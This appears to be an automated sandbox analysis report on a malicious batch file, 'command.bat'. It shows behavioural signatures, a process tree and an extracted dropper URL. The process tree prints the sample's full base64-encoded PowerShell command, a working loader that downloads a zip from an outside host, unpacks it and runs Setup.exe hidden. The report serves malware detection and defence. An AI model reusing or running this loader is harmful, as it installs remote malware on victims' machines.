Analysis

  • max time kernel
    148s
  • max time network
    126s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    29/09/2026, 14:11

General

  • Target
    command.bat
  • Size 1KB
  • Sample260929-rhb8aas1f1
  • SHA256 7ff997bf228bbc9dd7e2ff5332036e28f289192eaa07fa0e7cca1463460698eb
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://build.polysupport.team/otadm/build.zip

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\command.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1264
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -nop -w h -enc JABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAiADsAJAB1AD0AIgBoAHQAdABwAHMAOgAvAC8AYgB1AGkAbABkAC4AcABvAGwAeQBzAHUAcABwAG8AcgB0AC4AdABlAGEAbQAvAG8AdABhAGQAbQAvAGIAdQBpAGwAZAAuAHoAaQBwACIAOwAkAHQAPQAkAGUAbgB2ADoAVABFAE0AUAArAFsAYwBoAGEAcgBdADkAMgArACIAYgAiADsAJAB6AD0AJAB0ACsAWwBjAGgAYQByAF0AOQAyACsAIgBiAC4AegBpAHAAIgA7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAdAAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJAB1ACwAJAB6ACkAOwBFAHgAcABhAG4AZAAtAEEAcgBjAGgAaQB2AGUAIAAkAHoAIAAkAHQAIAAtAEYAbwByAGMAZQA7AHIAaQAgACQAegA7ACQAZQA9AGcAYwBpACAAJAB0ACAALQBSAGUAYwB1AHIAcwBlACAALQBGAGkAbAB0AGUAcgAgACIAUwBlAHQAdQBwAC4AZQB4AGUAIgB8AHMAZQBsAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADsAaQBmACgAJABlACkAewBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABlAC4ARgB1AGwAbABOAGEAbQBlACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgB9ADsAZQB4AGkAdAA=
      2⤵
      • Badlisted process makes network request
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2536

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/2536-0-0x00007FFCC9CEF000-0x00007FFCC9CF0000-memory.dmp

        memory/2536-4-0x00000173A23E0000-0x00000173A2402000-memory.dmp

        memory/2536-5-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp

        memory/2536-3-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp

        memory/2536-6-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp

        memory/2536-7-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp

        memory/2536-8-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp

        memory/2536-9-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp

        memory/2536-10-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp

        memory/2536-11-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp

        memory/2536-12-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp

        memory/2536-13-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp

        memory/2536-16-0x00000173A28C0000-0x00000173A28DE000-memory.dmp

        memory/2536-17-0x00000173A28E0000-0x00000173A2992000-memory.dmp

        memory/2536-19-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp

        memory/2536-18-0x00000173A28B0000-0x00000173A28BA000-memory.dmp

        memory/2536-21-0x00007FFCC9B60000-0x00007FFCCA504000-memory.dmp